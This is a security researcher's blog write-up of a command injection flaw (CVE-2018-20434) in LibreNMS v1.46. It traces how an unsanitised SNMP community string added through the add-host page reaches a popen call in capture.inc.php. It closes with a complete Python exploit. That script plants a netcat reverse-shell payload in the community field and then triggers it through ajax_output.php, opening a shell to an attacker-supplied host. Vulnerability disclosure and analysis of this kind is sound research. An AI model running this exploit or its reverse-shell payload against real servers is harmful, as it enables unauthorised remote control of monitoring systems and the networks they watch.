LibreNMS v1.46 Remote Code Execution (CVE-2018-20434)

Estimated Reading Time: 7 minutes

Summary about LibreNMS

LibreNMS is an open source, powerful and feature-rich auto-discovering PHP based network monitoring system which uses the SNMP protocol. It supports a broad range of operating systems including Linux, FreeBSD, as well as network devices including Cisco, Juniper, Brocade, Foundry, HP and many more.

About the exploit

The exploitation triggers by adding an arbitrary command in the public community parameter when adding a new device -which sends an unsanitized request to “addhost.inc.php” file, therefore any system execution to the injected request will result in a remote code execution. Calling “capture.inc.php” will grant us that behavior thru “popen” method, however you can access it by requesting “ajax_output.php” that takes [file_name].inc.php as a parameter.

The journey started when I was analyzing LibreNMS, I decided to hunt for remote command execution (RCE) in that project, I downloaded the source code and start searching for any unsafe functions the may lead to command execution such as (system, exec, shell, exec, popen, etc..) using a very simple python script I wrote.

after running the script, I got TONS of results and after a couple of hours trying to understand the code and digging deeper into it, I found some interesting piece of code in html/includes/output/capture.inc.php line #67:

    if (($fp = popen($cmd, "r"))) {
        while (!feof($fp)) {
            $line = stream_get_line($fp, 1024, PHP_EOL);
            echo preg_replace('/\033\[[\d;]+m/', '', $line) . PHP_EOL;
            ob_flush();
            flush(); // you have to flush buffer
        }
        fclose($fp);
    }

So as we can see in line #67, the script will execute the $cmd value using popen function and return the result of executing the command stored in $cmd, we can take a look at the beginning of this file to see that it contains a switch statement that controls that $cmd value in line #36 and if the value of $type (which is a POST request declared in line #34 ) is equals to snmpwalk it will call the gen_snmpwalk_cmd function in line #44 as the following:

$type = $_REQUEST['type'];

switch ($type) {
    case 'poller':
        $cmd = "php ${config['install_dir']}/poller.php -h $hostname -r -f -d";
        $filename = "poller-$hostname.txt";
        break;
    case 'snmpwalk':
        $device = device_by_name(mres($hostname));

        $cmd = gen_snmpwalk_cmd($device, '.', ' -OUneb');

        if ($debug) {
            $cmd .= ' 2>&1';
        }

So apparently the capture.inc.php will handle some requests that control the snmp protocol that is passed by the user, we will discover that later in the article, but now lets focus on line #44 in capture.inc.php file which call the gen_snmpwalk_cmd function that is existed in includes/snmp.inc.php, and save it’s results to $cmd variable which will be passed to our popen in capture.inc.php line #67 and this function do the following:

function gen_snmp_cmd($cmd, $device, $oids, $options = null, $mib = null, $mibdir = null)
{
    global $debug;

    // populate timeout & retries values from configuration
    $timeout = prep_snmp_setting($device, 'timeout');
    $retries = prep_snmp_setting($device, 'retries');

    if (!isset($device['transport'])) {
        $device['transport'] = 'udp';
    }

    $cmd .= snmp_gen_auth($device);
    $cmd .= " $options";
    $cmd .= $mib ? " -m $mib" : '';
    $cmd .= mibdir($mibdir, $device);
    $cmd .= isset($timeout) ? " -t $timeout" : '';
    $cmd .= isset($retries) ? " -r $retries" : '';
    $cmd .= ' '.$device['transport'].':'.$device['hostname'].':'.$device['port'];
    $cmd .= " $oids";

    if (!$debug) {
        $cmd .= ' 2>/dev/null';
    }

    return $cmd;
} // end gen_snmp_cmd()

So in theory, if we can control the output that will be returned from the gen_snmp_cmd which will be passed to popen later on , we can gain a beautiful command execution, and after some digging in this function, I noticed the function calls another function called snmp_gen_auth which is existed in snmp.inc.php line #768 and do the following:

function snmp_gen_auth(&$device)
{
    global $debug, $vdebug;

    $cmd = '';

    if ($device['snmpver'] === 'v3') {
        $cmd = " -v3 -n '' -l '".$device['authlevel']."'";

        //add context if exist context
        if (key_exists('context_name', $device)) {
            $cmd = " -v3 -n '".$device['context_name']."' -l '".$device['authlevel']."'";
        }

        if (strtolower($device['authlevel']) === 'noauthnopriv') {
            // We have to provide a username anyway (see Net-SNMP doc)
            $username = !empty($device['authname']) ? $device['authname'] : 'root';
            $cmd .= " -u '".$username."'";
        } elseif (strtolower($device['authlevel']) === 'authnopriv') {
            $cmd .= " -a '".$device['authalgo']."'";
            $cmd .= " -A '".$device['authpass']."'";
            $cmd .= " -u '".$device['authname']."'";
        } elseif (strtolower($device['authlevel']) === 'authpriv') {
            $cmd .= " -a '".$device['authalgo']."'";
            $cmd .= " -A '".$device['authpass']."'";
            $cmd .= " -u '".$device['authname']."'";
            $cmd .= " -x '".$device['cryptoalgo']."'";
            $cmd .= " -X '".$device['cryptopass']."'";
        } else {
            if ($debug) {
                print 'DEBUG: '.$device['snmpver']." : Unsupported SNMPv3 AuthLevel (wtf have you done ?)\n";
            }
        }
    } elseif ($device['snmpver'] === 'v2c' or $device['snmpver'] === 'v1') {
        $cmd  = " -".$device['snmpver'];
        $cmd .= " -c '".$device['community']."'";
    } else {
        if ($debug) {
            print 'DEBUG: '.$device['snmpver']." : Unsupported SNMP Version (shouldn't be possible to get here)\n";
        }
    }//end if

    return $cmd;
}//end snmp_gen_auth()

After some digging in the code, I noticed that we can control most of the device information , the device id will be passed to the gen_snmpwalk_cmd function then to snmp_gen_auth function and finally all the device information will be fetched and returned to the $cmd variable which we want to control , So I decieded to find an way to control the snmp “community” variable and we will find how later on.

And obviously, we can escape the input in line #803 and inject our command using this format ‘$(our_command).

So as I mentioned, we need to find a place that allows us to control one of the device information which is the “SNMP community “, so I start digging in add new host feature in LibreNMS and I noticed that once you tried to add a new device to LibreNMS some of the user input are saved as one of the configuration value which will be fetched later on by our snmp_gen_auth function !

And for our great luck , Karma sent to us an unfiltered POST request that contains our community string which we can control ! take a look at this code in html/pages/addhost.inc.php line #52

        } elseif ($_POST['snmpver'] === 'v2c' || $_POST['snmpver'] === 'v1') {
            if ($_POST['community']) {
                $config['snmp']['community'] = array(clean($_POST['community'], false));
            }

In line #52 the script check if the entered snmp version is equal to v1 or v2c then in line #53 we can see that the script check if the $_POST[‘community’] is passed in POST request to the application and add it to the snmp config in line #54, so we can know that we can confirm that we can control the community variable and try to inject an arbitrary commands after we pass the community request to it.

So, we will do the following in order to have a RCE:

1- Add new device and inject our arbitrary command in public community string. ==> that could be happen by sending a request to addhost.inc.php

2- Make a request to call the popen function which will get the command from some functions that will have our community string injected into it with our command ==> that could be happens by sending a request to capture.inc.php which will trigger the command execution

Now to add a new device , we need to send a request to /addhost page which will be handled by addhost.inc.php, and when we try to added from the web interface and intercept the request, we have the following:

AddHost request

and to trigger the popen function “capture.inc.php” file, we need to send a request to /ajax_output.php “located in html/ajax_output.php” which will call the capture.inc.php using this code:

if (isset($_SESSION['stage']) && $_SESSION['stage'] == 2) {
    $init_modules = array('web', 'nodb');
    require realpath(__DIR__ . '/..') . '/includes/init.php';
} else {
    $init_modules = array('web', 'auth', 'alerts');
    require realpath(__DIR__ . '/..') . '/includes/init.php';

    if (!LegacyAuth::check()) {
        echo "Unauthenticated\n";
        exit;
    }
}

set_debug($_REQUEST['debug']);
$id = str_replace('/', '', $_REQUEST['id']);

if (isset($id)) {
    require $config['install_dir'] . "/html/includes/output/$id.inc.php";
}

If the $_request[‘id’] was capture, it will call the capture.inc.php as highlighted in line #35, to call this file and send the request from the web interface we can use the link http://server/device/device=2/tab=capture/ ==> snmp ==> run, we can see the following request:

As we can see , after send the request we should have a 200 OK response which means that the functions was mentioned before are called and we can see that we got our community string injected “test string” and now we can replace it with our payload to get a RCE !

Note : you will not have the same result in the response because I just edited the code to print the command for debugging perposes and to show you that we can control the community string and injected it with “test string”.

So finally, to sum up all that , I wrote a python script to exploit this vulnerability and POP A SHELL !

#!/usr/bin/python

'''
# Exploit Title: LibreNMS v1.46 authenticated Remote Code Execution
# Date: 24/12/2018
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.librenms.org/
# Version: v1.46
# Tested on: Ubuntu 18.04 / PHP 7.2.10
'''

import requests
from urllib import urlencode
import sys

if len(sys.argv) != 5:
    print "[!] Usage : ./exploit.py http://www.example.com cookies rhost rport"
    sys.exit(0)

# target (user input)
target = sys.argv[1]

# cookies (user input)
raw_cookies = sys.argv[2]

# remote host to connect to
rhost = sys.argv[3]

# remote port to connect to
rport = sys.argv[4]

# hostname to use (change it if you want)
hostname = "dummydevice"

# payload to create reverse shell
payload = "'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f) #".format(rhost, rport)

# request headers
headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101"
    }

# request cookies
cookies = {}
for cookie in raw_cookies.split(";"):
    # print cookie
    c = cookie.split("=")
    cookies] = c[1]


def create_new_device(url):
    raw_request = {
        "hostname": hostname,
        "snmp": "on",
        "sysName": "",
        "hardware": "",
        "os": "",
        "snmpver": "v2c",
        "os_id": "",
        "port": "",
        "transport": "udp",
        "port_assoc_mode": "ifIndex",
        "community": payload,
        "authlevel": "noAuthNoPriv",
        "authname": "",
        "authpass": "",
        "cryptopass": "",
        "authalgo": "MD5",
        "cryptoalgo": "AES",
        "force_add": "on",
        "Submit": ""
    }
    full_url = url + "/addhost/"
    request_body = urlencode(raw_request)

    # send the device creation request
    request = requests.post(
        full_url, data=request_body, cookies=cookies, headers=headers
    )
    text = request.text
    if "Device added" in text:
        print "[+] Device Created Sucssfully"
        return True
    else:
        print "[-] Cannot Create Device"
        return False


def request_exploit(url):
    params = {
        "id": "capture",
        "format": "text",
        "type": "snmpwalk",
        "hostname": hostname
        }

    # send the payload call
    request = requests.get(url + "/ajax_output.php",
        params=params,
        headers=headers,
        cookies=cookies
        )
    text = request.text
    if rhost in text:
        print "[+] Done, check your nc !"


if create_new_device(target):
    request_exploit(target)

And you can get the full exploit code via github or via exploit-db.

And finally , we popped a shell

Leave a Reply

Your email address will not be published. Required fields are marked *